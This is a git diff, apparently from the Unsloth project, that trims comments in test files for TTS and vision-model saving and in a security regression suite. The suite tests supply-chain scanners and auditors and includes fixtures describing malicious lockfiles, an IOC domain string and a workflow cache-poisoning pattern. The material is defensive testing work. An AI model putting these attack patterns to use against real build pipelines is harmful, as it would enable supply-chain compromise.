-    bias = "none",  # Supports any, but = "none" is optimized
-    # [NEW] "unsloth" uses 30% less VRAM, fits 2x larger batch sizes!
-    use_gradient_checkpointing = "unsloth",  # True or "unsloth" for very long context
+    lora_dropout = 0,
+    bias = "none",
+    use_gradient_checkpointing = "unsloth",
     random_state = 3407,
-    use_rslora = False,  # We support rank stabilized LoRA
-    loftq_config = None,  # And LoftQ
+    use_rslora = False,
+    loftq_config = None,
 )
 
 print("✅ Model and LoRA adapters loaded successfully!")
@@ -97,7 +96,7 @@ print("🔍 SECTION 4: Saving and Merging Model")
 print(f"{'='*80}")
 
 with warnings.catch_warnings():
-    warnings.simplefilter("error")  # Treat warnings as errors
+    warnings.simplefilter("error")  # treat warnings as errors so saving stays clean
     try:
         model.save_pretrained_merged("csm", tokenizer)
         print("✅ Model saved and merged successfully without warnings!")
@@ -111,10 +110,10 @@ print(f"{'='*80}")
 
 model, processor = FastModel.from_pretrained(
     model_name = "./csm",
-    max_seq_length = 2048,  # Choose any for long context!
-    dtype = None,  # Leave as None for auto-detection
+    max_seq_length = 2048,
+    dtype = None,
     auto_model = CsmForConditionalGeneration,
-    load_in_4bit = False,  # Select True for 4bit - reduces memory usage
+    load_in_4bit = False,
 )
 
 from transformers import AutoProcessor
@@ -139,7 +138,7 @@ try:
     inputs = processor(f"[{speaker_id}]{text}", add_special_tokens = True).to("cuda")
     audio_values = model.generate(
         **inputs,
-        max_new_tokens = 125,  # 125 tokens ~= 10 seconds of audio
+        max_new_tokens = 125,  # ~10 seconds of audio
         depth_decoder_temperature = 0.6,
         depth_decoder_top_k = 0,
         depth_decoder_top_p = 0.9,
diff --git a/tests/saving/text_to_speech_models/test_lasa.py b/tests/saving/text_to_speech_models/test_lasa.py
index c0c4f80e0e..eea69ddd0a 100644
--- a/tests/saving/text_to_speech_models/test_lasa.py
+++ b/tests/saving/text_to_speech_models/test_lasa.py
@@ -44,8 +44,8 @@ max_seq_length = 2048
 model, tokenizer = FastLanguageModel.from_pretrained(
     model_name = "unsloth/Llasa-1B",
     max_seq_length = max_seq_length,
-    dtype = None,  # Select None for auto detection
-    load_in_4bit = False,  # Choose True for 4bit which reduces memory
+    dtype = None,
+    load_in_4bit = False,
     # token = "hf_...", # use one if using gated models like meta-llama/Llama-2-7b-hf
 )
 
@@ -54,16 +54,15 @@ base_model_class = model.__class__.__name__
 
 model = FastLanguageModel.get_peft_model(
     model,
-    r = 128,  # Choose any number > 0 ! Suggested 8, 16, 32, 64, 128
+    r = 128,
     target_modules = ["q_proj", "v_proj"],
     lora_alpha = 128,
-    lora_dropout = 0,  # Supports any, but = 0 is optimized
-    bias = "none",  # Supports any, but = "none" is optimized
-    # [NEW] "unsloth" uses 30% less VRAM, fits 2x larger batch sizes!
-    use_gradient_checkpointing = "unsloth",  # True or "unsloth" for very long context
+    lora_dropout = 0,
+    bias = "none",
+    use_gradient_checkpointing = "unsloth",
     random_state = 3407,
-    use_rslora = False,  # We support rank stabilized LoRA
-    loftq_config = None,  # And LoftQ
+    use_rslora = False,
+    loftq_config = None,
 )
 
 print("✅ Model and LoRA adapters loaded successfully!")
@@ -104,7 +103,7 @@ print("🔍 SECTION 4: Saving and Merging Model")
 print(f"{'='*80}")
 
 with warnings.catch_warnings():
-    warnings.simplefilter("error")  # Treat warnings as errors
+    warnings.simplefilter("error")  # save/merge must emit no warnings
     try:
         model.save_pretrained_merged("lasa", tokenizer)
         print("✅ Model saved and merged successfully without warnings!")
@@ -119,8 +118,8 @@ print(f"{'='*80}")
 model, tokenizer = FastLanguageModel.from_pretrained(
     model_name = "./lasa",
     max_seq_length = max_seq_length,
-    dtype = None,  # Select None for auto detection
-    load_in_4bit = False,  # Choose True for 4bit which reduces memory
+    dtype = None,
+    load_in_4bit = False,
     # token = "hf_...", # use one if using gated models like meta-llama/Llama-2-7b-hf
 )
 
@@ -164,12 +163,10 @@ def extract_speech_ids(speech_tokens_str):
     return speech_ids
 
 
-# TTS start!
 with torch.inference_mode():
     with torch.amp.autocast("cuda", dtype = model.dtype):
         formatted_text = f"<|TEXT_UNDERSTANDING_START|>{input_text}<|TEXT_UNDERSTANDING_END|>"
 
-        # Tokenize the text
         chat = [
             {"role": "user", "content": "Convert the text to speech:" + formatted_text},
             {"role": "assistant", "content": "<|SPEECH_GENERATION_START|>"},
@@ -182,26 +179,23 @@ with torch.inference_mode():
 
         speech_end_id = tokenizer.convert_tokens_to_ids("<|SPEECH_GENERATION_END|>")
 
-        # Generate the speech autoregressively
         outputs = model.generate(
             input_ids,
-            max_length = 2048,  # We trained our model with a max length of 2048
+            max_length = 2048,
             eos_token_id = speech_end_id,
             do_sample = True,
-            top_p = 1.2,  #  Adjusts the diversity of generated content
-            temperature = 1.2,  #  Controls randomness in output
+            top_p = 1.2,
+            temperature = 1.2,
         )
-    # Extract the speech tokens
     generated_ids = outputs[0][input_ids.shape[1] : -1]
 
     speech_tokens = tokenizer.batch_decode(generated_ids, skip_special_tokens = True)
 
-    # Convert  token <|s_23456|> to int 23456
+    # Convert token <|s_23456|> to int 23456.
     speech_tokens = extract_speech_ids(speech_tokens)
 
     speech_tokens = torch.tensor(speech_tokens).cpu().unsqueeze(0).unsqueeze(0)
 
-    # Decode the speech tokens to speech waveform
     gen_wav = codec_model.decode_code(speech_tokens)
 try:
     sf.write(output_audio_path, gen_wav[0, 0, :].cpu().numpy(), 16000)
diff --git a/tests/saving/text_to_speech_models/test_orpheus.py b/tests/saving/text_to_speech_models/test_orpheus.py
index 83adaf8dbc..99feeeda13 100644
--- a/tests/saving/text_to_speech_models/test_orpheus.py
+++ b/tests/saving/text_to_speech_models/test_orpheus.py
@@ -140,7 +140,7 @@ prompts = [
     "Hey there my name is Elise, <giggles> and I'm a speech generation model that can sound like a person.",
 ]
 
-chosen_voice = None  # None for single-speaker
+chosen_voice = None  # single-speaker
 
 prompts_ = [(f"{chosen_voice}: " + p) if chosen_voice else p for p in prompts]
 
diff --git a/tests/saving/text_to_speech_models/test_whisper.py b/tests/saving/text_to_speech_models/test_whisper.py
index e0271d098e..a3f41d1833 100644
--- a/tests/saving/text_to_speech_models/test_whisper.py
+++ b/tests/saving/text_to_speech_models/test_whisper.py
@@ -169,8 +169,7 @@ transcribed_text = whisper(audio_file)
 # transcribed_text = model.generate(input_features=input_features)
 print(f"📝 Transcribed Text: {transcribed_text['text']}")
 
-## assert that transcribed_text contains The birch canoe slid on the smooth planks. Glued the sheet to the dark blue background. It's easy to tell the depth of a well. Four hours of steady work faced us.
-
+# Assert the transcription contains the expected reference phrases.
 expected_phrases = [
     "birch canoe slid on the smooth planks",
     "sheet to the dark blue background",
diff --git a/tests/saving/vision_models/test_index_file_sharded_model.py b/tests/saving/vision_models/test_index_file_sharded_model.py
index 6f2d0ff782..1a3c1f1493 100644
--- a/tests/saving/vision_models/test_index_file_sharded_model.py
+++ b/tests/saving/vision_models/test_index_file_sharded_model.py
@@ -128,7 +128,7 @@ try:
             per_device_train_batch_size = 2,
             gradient_accumulation_steps = 4,
             gradient_checkpointing = True,
-            gradient_checkpointing_kwargs = {"use_reentrant": False},  # use reentrant checkpointing
+            gradient_checkpointing_kwargs = {"use_reentrant": False},
             max_grad_norm = 0.3,  # max gradient norm based on QLoRA paper
             warmup_ratio = 0.03,
             # num_train_epochs = 2, # Set this instead of max_steps for full training runs
diff --git a/tests/saving/vision_models/test_push_to_hub_merged.py b/tests/saving/vision_models/test_push_to_hub_merged.py
index d83c66de4b..513546efb4 100644
--- a/tests/saving/vision_models/test_push_to_hub_merged.py
+++ b/tests/saving/vision_models/test_push_to_hub_merged.py
@@ -23,10 +23,7 @@ from tests.utils.cleanup_utils import safe_remove_directory
 
 print("\n📊 Loading and preparing dataset...")
 dataset = load_dataset("lbourdois/OCR-liboaccn-OPUS-MIT-5M-clean", "en", split = "train")
-# First 2000 examples for training
 train_dataset = dataset.select(range(2000))
-
-# Next 200 examples for evaluation
 eval_dataset = dataset.select(range(2000, 2200))
 
 print(f"✅ Dataset loaded successfully!")
@@ -34,7 +31,7 @@ print(f"   📈 Training samples: {len(train_dataset)}")
 print(f"   📊 Evaluation samples: {len(eval_dataset)}")
 
 
-# Convert dataset to OAI messages
+# Convert to OAI messages format
 def format_data(sample):
     return {
         "messages": [
@@ -76,7 +73,6 @@ print("✅ Dataset formatting completed!")
 print("\n" + "=" * 80)
 print("=== MODEL LOADING AND SETUP ===".center(80))
 print("=" * 80 + "\n")
-# Load Base Model
 print("🤖 Loading base vision model...")
 try:
     model, tokenizer = FastVisionModel.from_pretrained(
@@ -138,8 +134,8 @@ try:
             per_device_train_batch_size = 2,
             gradient_accumulation_steps = 4,
             gradient_checkpointing = True,
-            gradient_checkpointing_kwargs = {"use_reentrant": False},  # use reentrant checkpointing
-            max_grad_norm = 0.3,  # max gradient norm based on QLoRA paper
+            gradient_checkpointing_kwargs = {"use_reentrant": False},
+            max_grad_norm = 0.3,  # from QLoRA paper
             warmup_ratio = 0.03,
             # num_train_epochs = 2, # Set this instead of max_steps for full training runs
             max_steps = 10,
@@ -175,7 +171,6 @@ except Exception as e:
 print("\n" + "=" * 80)
 print("=== STARTING TRAINING ===".center(80))
 print("=" * 80 + "\n")
-# run training
 try:
     print("🚀 Starting training process...")
     trainer_stats = trainer.train()
@@ -212,7 +207,6 @@ success = {
     "upload": False,
     "download": False,
 }
-# Stage 1: Upload model to Hub
 try:
     print("\n" + "=" * 80)
     print("=== UPLOADING MODEL TO HUB ===".center(80))
@@ -231,19 +225,16 @@ try:
     print("=== TESTING MODEL DOWNLOAD ===".center(80))
     print("=" * 80 + "\n")
     print("📥 Testing model download...")
-    # Force download even if cached
     test_model, test_tokenizer = FastVisionModel.from_pretrained(repo_name)
     success["download"] = True
     print("✅ Model downloaded successfully!")
 
-    # Clean up test model
     del test_model, test_tokenizer
     torch.cuda.empty_cache()
 except Exception as e:
     print(f"❌ Download failed: {e}")
     raise Exception("Model download failed.")
 
-# Final report
 print("\n" + "=" * 80)
 print("=== VALIDATION REPORT ===".center(80))
 print("=" * 80 + "\n")
@@ -259,7 +250,6 @@ else:
     raise Exception("Validation failed for one or more stages.")
 
 
-# Final cleanup
 print("\n🧹 Cleaning up temporary files...")
 safe_remove_directory("./checkpoints")
 safe_remove_directory("./unsloth_compiled_cache")
diff --git a/tests/saving/vision_models/test_save_merge_qwen2.5vl32B_model_ocr_benchmark.py b/tests/saving/vision_models/test_save_merge_qwen2.5vl32B_model_ocr_benchmark.py
index 548e6bfc37..65c876e766 100644
--- a/tests/saving/vision_models/test_save_merge_qwen2.5vl32B_model_ocr_benchmark.py
+++ b/tests/saving/vision_models/test_save_merge_qwen2.5vl32B_model_ocr_benchmark.py
@@ -57,7 +57,7 @@ def format_data(sample):
 
 
 system_message = "You are an expert french ocr system."
-# List comprehension (not .map) to keep PIL.Image type; .map converts images to bytes.
+# List comprehension (not .map): .map would convert PIL images to bytes.
 train_dataset = [format_data(sample) for sample in train_dataset]
 eval_dataset = [format_data(sample) for sample in eval_dataset]
 
@@ -128,7 +128,7 @@ trainer = SFTTrainer(
         per_device_train_batch_size = 2,
         gradient_accumulation_steps = 4,
         gradient_checkpointing = True,
-        gradient_checkpointing_kwargs = {"use_reentrant": False},  # use reentrant checkpointing
+        gradient_checkpointing_kwargs = {"use_reentrant": False},
         max_grad_norm = 0.3,  # max gradient norm based on QLoRA paper
         warmup_ratio = 0.03,
         # num_train_epochs = 2, # Set this instead of max_steps for full training runs
diff --git a/tests/saving/vision_models/test_save_merge_vision_model_ocr_benchmark.py b/tests/saving/vision_models/test_save_merge_vision_model_ocr_benchmark.py
index 66064600ea..3305dbc53c 100644
--- a/tests/saving/vision_models/test_save_merge_vision_model_ocr_benchmark.py
+++ b/tests/saving/vision_models/test_save_merge_vision_model_ocr_benchmark.py
@@ -27,7 +27,6 @@ train_dataset = dataset.select(range(2000))
 eval_dataset = dataset.select(range(2000, 2200))
 
 
-# Convert dataset to OAI messages.
 def format_data(sample):
     return {
         "messages": [
@@ -79,7 +78,7 @@ model, tokenizer = FastVisionModel.from_pretrained(
     full_finetuning = False,  # [NEW!] We have full finetuning now!
 )
 
-# Benchmark base model performance.
+# Benchmark base model.
 model_name = "Unsloth Base model"
 FastVisionModel.for_inference(model)
 avg_wer, avg_cer = ocr_evaluator.evaluate_model(
@@ -124,8 +123,8 @@ trainer = SFTTrainer(
         per_device_train_batch_size = 2,
         gradient_accumulation_steps = 4,
         gradient_checkpointing = True,
-        gradient_checkpointing_kwargs = {"use_reentrant": False},  # use reentrant checkpointing
-        max_grad_norm = 0.3,  # max gradient norm based on QLoRA paper
+        gradient_checkpointing_kwargs = {"use_reentrant": False},
+        max_grad_norm = 0.3,  # QLoRA paper
         warmup_ratio = 0.03,
         # num_train_epochs = 2, # Set this instead of max_steps for full training runs
         max_steps = 60,
@@ -154,7 +153,7 @@ trainer_stats = trainer.train()
 model.save_pretrained("unsloth-qwen2-7vl-french-ocr-adapter", tokenizer)
 tokenizer.save_pretrained("unsloth-qwen2-7vl-french-ocr-adapter")
 
-# Benchmark lora adapter model performance.
+# Benchmark lora adapter model.
 model_name = "Unsloth lora adapter model"
 FastVisionModel.for_inference(model)
 avg_wer, avg_cer = ocr_evaluator.evaluate_model(
@@ -176,7 +175,7 @@ base = find_lora_base_model(model)
 
 print((base.__class__.__name__))
 
-# Merge at default 16 bits.
+# Merge at 16 bits.
 model.save_pretrained_merged(
     save_directory = "qwen2-ocr-merged-finetune-merge-16bit", tokenizer = tokenizer
 )
diff --git a/tests/security/conftest.py b/tests/security/conftest.py
index c5071842e5..5ff22d79e6 100644
--- a/tests/security/conftest.py
+++ b/tests/security/conftest.py
@@ -1,9 +1,4 @@
-"""Shared fixtures for the security regression suite.
-
-The scanners under audit must be offline-safe. An autouse session-scoped network
-blocker refuses any non-loopback `socket.connect()` so a regression that reaches
-the internet fails loudly instead of leaking the request.
-"""
+"""Security suite fixtures: an autouse network blocker refuses non-loopback socket.connect() so a regression reaching the internet fails loudly."""
 
 from __future__ import annotations
 
@@ -14,7 +9,7 @@ from pathlib import Path
 import pytest
 
 
-# Make `scripts/` importable so tests can grab scanner constants directly
+# Make `scripts/` importable so tests can grab scanner constants directly.
 REPO_ROOT = Path(__file__).resolve().parents[2]
 if str(REPO_ROOT) not in sys.path:
     sys.path.insert(0, str(REPO_ROOT))
@@ -66,8 +61,7 @@ class _BlockedSocket(socket.socket):
 
 @pytest.fixture(scope = "session", autouse = True)
 def network_blocker():
-    """Session-scoped fixture; swaps `socket.socket` for a blocker, restored at
-    teardown so interleaved sessions see a clean module."""
+    """Swap socket.socket for the blocker, restored at teardown."""
     original = socket.socket
     socket.socket = _BlockedSocket  # type: ignore[assignment]
     try:
diff --git a/tests/security/fixtures/_build.py b/tests/security/fixtures/_build.py
index 4cbda6aab5..f52c401b60 100644
--- a/tests/security/fixtures/_build.py
+++ b/tests/security/fixtures/_build.py
@@ -1,13 +1,4 @@
-"""Deterministic builder for the wheel + sdist binary fixtures.
-
-Not run from CI; the produced .whl / .tar.gz bytes are committed alongside
-it. Re-run only when the IOC literal changes.
-
-Determinism: fixed timestamps (SOURCE_DATE_EPOCH=0), uid/gid=0, empty
-uname/gname, fixed perms (0o644 files / 0o755 dirs), sorted member order,
-and DEFLATE compresslevel=6 for stability across stdlib versions. Diffing
-re-built .whl bytes against git is the regression test (see test_scan_packages).
-"""
+"""Deterministic builder for the committed wheel + sdist fixtures; re-run only when the IOC literal changes."""
 
 from __future__ import annotations
 
@@ -80,17 +71,12 @@ def _write_zip_member(zf: zipfile.ZipFile, name: str, data: bytes) -> None:
 
 
 def _build_wheel(out_path: Path, *, name: str, payload_files: dict[str, bytes]) -> None:
-    """Write a deterministic .whl at `out_path`.
-
-    `payload_files` maps archive-relative paths to their bytes. Standard
-    `.dist-info/METADATA`, `WHEEL`, and `RECORD` are added automatically.
-    """
+    """Write a deterministic .whl; .dist-info METADATA/WHEEL/RECORD are added automatically."""
     dist_info = f"{name}-0.0.1.dist-info"
     members: dict[str, bytes] = dict(payload_files)
     members[f"{dist_info}/METADATA"] = WHEEL_METADATA.format(name = name).encode()
     members[f"{dist_info}/WHEEL"] = WHEEL_FILE.encode()
-    # RECORD is intentionally minimal; the scanner only inspects file
-    # bodies, not hash integrity.
+    # RECORD is minimal; the scanner inspects file bodies, not hash integrity.
     record_lines = []
     for path in sorted(members):
         record_lines.append(f"{path},,")
@@ -106,11 +92,7 @@ def _build_wheel(out_path: Path, *, name: str, payload_files: dict[str, bytes])
 
 
 def _build_sdist(out_path: Path, *, name: str, payload_files: dict[str, bytes]) -> None:
-    """Write a deterministic .tar.gz sdist at `out_path`.
-
-    `payload_files` maps archive-relative paths to their bytes; a
-    leading `{name}-0.0.1/` prefix is added automatically.
-    """
+    """Write a deterministic .tar.gz sdist; a `{name}-0.0.1/` prefix is added automatically."""
     prefix = f"{name}-0.0.1"
     buf = io.BytesIO()
     # gzip mtime fixed via mtime=0 (gzip member header).
diff --git a/tests/security/test_lint_workflow_triggers.py b/tests/security/test_lint_workflow_triggers.py
index 554c360d88..e4ee3fd28f 100644
--- a/tests/security/test_lint_workflow_triggers.py
+++ b/tests/security/test_lint_workflow_triggers.py
@@ -1,10 +1,4 @@
-"""Regression tests for scripts/lint_workflow_triggers.py.
-
-Guards against future regressions that would re-introduce GHSA-g7cv-rxg3-hmpx
-(TanStack) -class supply-chain vectors:
-  * pull_request_target (fork PR runs in base context).
-  * Shared cache keys between PR-triggered workflows and the publish workflow.
-"""
+"""Regression tests for scripts/lint_workflow_triggers.py, guarding GHSA-g7cv-rxg3-hmpx vectors."""
 
 from __future__ import annotations
 
@@ -104,7 +98,7 @@ def test_lint_rejects_shared_cache_key_between_pr_and_publish(tmp_path):
     publish workflow is the TanStack cache-poisoning vector."""
     wf = tmp_path / "wf"
     wf.mkdir()
-    # PR-triggered: writes to a cache that the publish job will also restore.
+    # PR-triggered: writes a cache the publish job will also restore.
     (wf / "pr-build.yml").write_text(
         "name: pr-build\n"
         "on:\n"
@@ -118,7 +112,7 @@ def test_lint_rejects_shared_cache_key_between_pr_and_publish(tmp_path):
         "          path: node_modules\n"
         "          key: shared-cache-v1\n"
     )
-    # Publish workflow with the IDENTICAL cache key -- the actual attack pattern.
+    # Publish workflow with the IDENTICAL cache key (the attack pattern).
     (wf / "release-desktop.yml").write_text(
         "name: release-desktop\n"
         "on:\n"
diff --git a/tests/security/test_lockfile_supply_chain_audit.py b/tests/security/test_lockfile_supply_chain_audit.py
index 905c4afcac..d464fe44d4 100644
--- a/tests/security/test_lockfile_supply_chain_audit.py
+++ b/tests/security/test_lockfile_supply_chain_audit.py
@@ -1,9 +1,4 @@
-"""Regression tests for `scripts/lockfile_supply_chain_audit.py`.
-
-The auditor is fully offline (file reads only); tests run the script
-as a subprocess against the fixture lockfiles plus an inline
-`Cargo.lock` constructed in a tmpdir.
-"""
+"""Regression tests for the offline `scripts/lockfile_supply_chain_audit.py`."""
 
 from __future__ import annotations
 
@@ -51,8 +46,7 @@ def _run_auditor(
 
 
 def test_malicious_lockfile_exits_1(tmp_path):
-    """Fixture combines a non-registry resolved URL, a known IOC substring
-    (`filev2.getsession.org`), and a missing integrity hash: auditor exits 1."""
+    """Non-registry URL + IOC substring + missing integrity hash -> auditor exits 1."""
     fixture = FIXTURES / "malicious_lockfile.json"
     assert fixture.is_file()
     proc = _run_auditor(root = tmp_path, npm_lockfiles = [fixture])
@@ -82,9 +76,7 @@ def test_clean_lockfile_exits_0(tmp_path):
 
 
 def test_audit_npm_lockfile_direct_call_findings():
-    """In-process call to `audit_npm_lockfile()` returns the same
-    finding shape we expect the subprocess to emit.
-    """
+    """In-process audit_npm_lockfile() returns the same findings as the subprocess."""
     findings = lsa.audit_npm_lockfile(FIXTURES / "malicious_lockfile.json")
     kinds = {f.kind for f in findings}
     assert "non-registry-resolved-url" in kinds
@@ -132,10 +124,7 @@ def test_npm_ioc_strings_contains_may12_additions():
     reason = "Fork 1 (BLOCKED_NPM_VERSIONS in auditor) not merged yet",
 )
 def test_lockfile_auditor_blocked_versions_match_scanner():
-    """The auditor's BLOCKED_NPM_VERSIONS must mirror the scanner's
-    table verbatim (Fork 1's plan says to duplicate with a sync
-    comment until the next PR factors them into a shared module).
-    """
+    """Auditor's BLOCKED_NPM_VERSIONS must mirror the scanner's table verbatim."""
     from scripts import scan_npm_packages as snp
     assert (
         lsa.BLOCKED_NPM_VERSIONS == snp.BLOCKED_NPM_VERSIONS
@@ -164,9 +153,7 @@ checksum = "0000000000000000000000000000000000000000000000000000000000000000"
 
 
 def test_malicious_cargo_lockfile_refused(tmp_path):
-    """Inline Cargo.lock with a `git+https://...` source must trip the
-    `non-registry-cargo-source` check. It's advisory in default mode, so
-    --strict promotes it to blocking to exercise the refuse-to-install path."""
+    """git+https:// Cargo source trips non-registry-cargo-source; --strict makes it blocking."""
     lockfile = tmp_path / "Cargo.lock"
     lockfile.write_text(_MALICIOUS_CARGO_LOCK)
     proc = _run_auditor(
@@ -182,11 +169,7 @@ def test_malicious_cargo_lockfile_refused(tmp_path):
 
 
 def test_malicious_cargo_lockfile_default_mode_advisory(tmp_path):
-    """Default (non-strict) mode classifies `non-registry-cargo-source`
-    as advisory: the finding is still emitted as a `::warning::`
-    annotation but the process exits 0 so the build is not gated.
-    Regression test for the advisory/strict split.
-    """
+    """Default mode emits non-registry-cargo-source as advisory ::warning:: but exits 0."""
     lockfile = tmp_path / "Cargo.lock"
     lockfile.write_text(_MALICIOUS_CARGO_LOCK)
     proc = _run_auditor(
@@ -219,14 +202,11 @@ def test_audit_cargo_lockfile_direct_call(tmp_path):
 
 
 def test_gha_escape_collapses_finding_to_one_line():
-    """`_gha_escape()` collapses newlines (`%0A`), carriage returns (`%0D`),
-    and percent signs (`%25`) so GHA annotations aren't truncated at the first
-    newline. `%` must escape first or the `%0A`/`%0D` escapes double-encode."""
+    """_gha_escape() encodes \\n/\\r/% so GHA annotations aren't truncated; % must escape first."""
     assert lsa._gha_escape("a\nb\nc") == "a%0Ab%0Ac"
     assert lsa._gha_escape("a\rb") == "a%0Db"
     assert lsa._gha_escape("100%") == "100%25"
-    # Order regression: `%` must escape before `\n` so the literal
-    # text `a%b\nc` becomes `a%25b%0Ac`, not `a%250Ab%0Ac`.
+    # Order regression: `%` must escape before `\n`, else escapes double-encode.
     assert lsa._gha_escape("a%b\nc") == "a%25b%0Ac"
 
     f = lsa.Finding(
@@ -244,9 +224,7 @@ def test_gha_escape_collapses_finding_to_one_line():
 
 
 def test_advisory_finding_emitted_as_single_line_annotation(tmp_path):
-    """The `::warning::` line for an advisory finding must be a SINGLE physical
-    line (rest of the Finding `%0A`-escaped). Regression for PR #5604: without
-    `_gha_escape`, GHA truncates after `[kind] path` and drops package/detail."""
+    """Advisory ::warning:: must be one physical line (%0A-escaped). Regression for PR #5604."""
     lockfile = tmp_path / "Cargo.lock"
     lockfile.write_text(_MALICIOUS_CARGO_LOCK)
     proc = _run_auditor(
@@ -259,8 +237,7 @@ def test_advisory_finding_emitted_as_single_line_annotation(tmp_path):
         "expected at least one ::warning:: annotation; " f"stderr was:\n{proc.stderr}"
     )
     for line in warning_lines:
-        # Single physical line: kind, package, detail all present
-        # via %0A escape, not split across stderr lines.
+        # One physical line: kind/package/detail joined via %0A, not split.
         assert "%0A" in line, (
             f"::warning:: line has no %0A escape; multi-line text "
             f"would be truncated by GH Actions:\n{line}"
@@ -276,9 +253,7 @@ def test_advisory_finding_emitted_as_single_line_annotation(tmp_path):
 
 
 def test_skip_env_var_with_short_value_rejected(tmp_path):
-    """`UNSLOTH_LOCKFILE_AUDIT_SKIP=1` must no longer silently bypass: per SF4
-    it warns and falls through to run the audit. A real justification value
-    (>=5 chars, not a boolean shape) is still honored."""
+    """SF4: a short/boolean UNSLOTH_LOCKFILE_AUDIT_SKIP is rejected; a real justification is honored."""
     fixture = FIXTURES / "clean_lockfile.json"
 
     # Case 1 -- "1" rejected, audit RUNS.
@@ -300,9 +275,9 @@ def test_skip_env_var_with_short_value_rejected(tmp_path):
     combined_bad = proc_bad.stdout + proc_bad.stderr
     assert "::warning::" in combined_bad, combined_bad
     assert "REQUIRES a justification" in combined_bad, combined_bad
-    # Audit actually ran (saw the per-file banner).
+    # Per-file banner proves the audit ran.
     assert "[lockfile-audit] npm:" in combined_bad, combined_bad
-    # Fixture is clean, so exit 0 -- but the audit was performed.
+    # Clean fixture -> exit 0, but the audit was performed.
     assert proc_bad.returncode == 0, (
         f"expected rc 0 on clean fixture, got {proc_bad.returncode}\n"
         f"--- stdout ---\n{proc_bad.stdout}\n"
@@ -330,7 +305,7 @@ def test_skip_env_var_with_short_value_rejected(tmp_path):
     assert "::warning::" in combined_ok
     assert "skipped" in combined_ok.lower()
     assert "ticket-5397" in combined_ok
-    # Skip path means the audit body never ran (no "npm:" banner).
+    # Skip path: no "npm:" banner means the audit body never ran.
     assert "[lockfile-audit] npm:" not in combined_ok, combined_ok
 
     # Case 3 -- the booleanish tokens are ALL rejected.
diff --git a/tests/security/test_new_install_scripts.py b/tests/security/test_new_install_scripts.py
index e71659dd88..d8656b114e 100644
--- a/tests/security/test_new_install_scripts.py
+++ b/tests/security/test_new_install_scripts.py
@@ -1,10 +1,7 @@
 """Regression tests for `scripts/check_new_install_scripts.py`.
 
-The fixture lockfiles are tiny dicts written to `tmp_path` so the
-tests stay self-contained. The session-wide `network_blocker` fixture
-in conftest.py refuses any real-world socket connect; the scanner
-treats that block as "registry unreachable, emit finding anyway",
-which is the offline-safe path under test.
+Lockfiles are tiny dicts in tmp_path; the network_blocker fixture forces the
+scanner's offline path (registry unreachable -> emit finding anyway).
 """
 
 from __future__ import annotations
@@ -45,8 +42,6 @@ def _write(path: Path, content: dict) -> Path:
 
 
 # Lockfile fixtures
-
-
 def _v3_lockfile(packages: dict) -> dict:
     return {
         "name": "unsloth-theme",
@@ -69,8 +64,6 @@ def _v2_lockfile(packages: dict, dependencies: dict) -> dict:
 
 
 # Tests
-
-
 def test_no_new_install_scripts_exit_0(tmp_path: Path):
     """If base == head, nothing new can have been added."""
     same = _v3_lockfile(
@@ -137,7 +130,7 @@ def test_existing_dep_with_postinstall_ignored(tmp_path: Path):
         },
     }
     head_pkgs = dict(base_pkgs)
-    # An ENTIRELY UNRELATED non-install-script dep is added in head.
+    # Add an unrelated non-install-script dep in head.
     head_pkgs["node_modules/lodash"] = {
         "version": "4.17.21",
         "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
@@ -188,8 +181,7 @@ def test_v2_v3_lockfile_format_support(tmp_path: Path):
     )
     assert "v2-postinstall-dep" in result.stderr
 
-    # And again: same packages dict but lockfileVersion 3 -- should
-    # produce the same finding shape.
+    # Same packages as lockfileVersion 3 must give the same finding.
     base_v3 = _write(tmp_path / "base_v3.json", _v3_lockfile(base_pkgs))
     head_v3 = _write(tmp_path / "head_v3.json", _v3_lockfile(head_pkgs))
     result_v3 = _run(base_v3, head_v3)
diff --git a/tests/security/test_scan_npm_packages.py b/tests/security/test_scan_npm_packages.py
index f0c0ea93d4..45d1d42877 100644
--- a/tests/security/test_scan_npm_packages.py
+++ b/tests/security/test_scan_npm_packages.py
@@ -1,10 +1,4 @@
-"""Regression tests for `scripts/scan_npm_packages.py`.
-
-These tests must run fully offline. The `network_blocker` fixture in
-conftest.py refuses any non-loopback socket connect from the test
-process; scanner subprocesses are invoked against fixtures that never
-trigger an HTTP fetch.
-"""
+"""Regression tests for scripts/scan_npm_packages.py. Run fully offline (network_blocker fixture)."""
 
 from __future__ import annotations
 
@@ -21,7 +15,7 @@ REPO_ROOT = Path(__file__).resolve().parents[2]
 SCRIPT = REPO_ROOT / "scripts" / "scan_npm_packages.py"
 FIXTURES = Path(__file__).resolve().parent / "fixtures"
 
-# Import the module so we can introspect the IOC tables directly.
+# Import the module to introspect IOC tables directly.
 sys.path.insert(0, str(REPO_ROOT))
 from scripts import scan_npm_packages as snp  # noqa: E402
 
@@ -46,9 +40,7 @@ def _run_scanner(lockfile: Path, *, timeout: int = 30) -> subprocess.CompletedPr
 
 
 def test_malicious_lockfile_exits_1():
-    """Structural IOCs alone must fail the scanner. The fixture has a
-    non-registry `resolved` URL and a missing `integrity` field, both caught in
-    `parse_lockfile()` before any tarball download, so the test is offline."""
+    """Structural IOCs alone (non-registry resolved URL + missing integrity) fail the scanner offline."""
     fixture = FIXTURES / "structural_only_lockfile.json"
     assert fixture.is_file(), fixture
     proc = _run_scanner(fixture)
@@ -57,23 +49,17 @@ def test_malicious_lockfile_exits_1():
         f"--- stdout ---\n{proc.stdout}\n--- stderr ---\n{proc.stderr}"
     )
     combined = proc.stdout + proc.stderr
-    # The scanner aggregates structural findings into the summary
-    # rather than printing each one individually. Assert on the
-    # count + the FAIL banner instead.
+    # Scanner aggregates structural findings into the summary; assert on count + FAIL banner.
     assert "2 structural finding(s)" in combined
     assert "FAIL" in combined
-    # And confirm `parse_lockfile()` actually surfaces the right
-    # `pattern` codes via the in-process API.
+    # Confirm parse_lockfile() surfaces the right pattern codes via the in-process API.
     entries, struct = snp.parse_lockfile(fixture)
     patterns = {f.pattern for f in struct}
     assert {"non-registry-resolved-url", "missing-integrity-hash"} <= patterns
 
 
 def test_clean_lockfile_exits_0():
-    """The clean fixture only contains entries that `parse_lockfile()`
-    skips entirely (workspace root + workspace `link` symlink +
-    nested fold-in), so the scanner exits 0 with no network access.
-    """
+    """Clean fixture has only entries parse_lockfile() skips, so the scanner exits 0 offline."""
     fixture = FIXTURES / "clean_lockfile.json"
     assert fixture.is_file(), fixture
     proc = _run_scanner(fixture)
@@ -110,8 +96,7 @@ def test_blocked_npm_versions_complete():
         f"expected at least 22 @squawk/* entries (full safedep.io enumeration), "
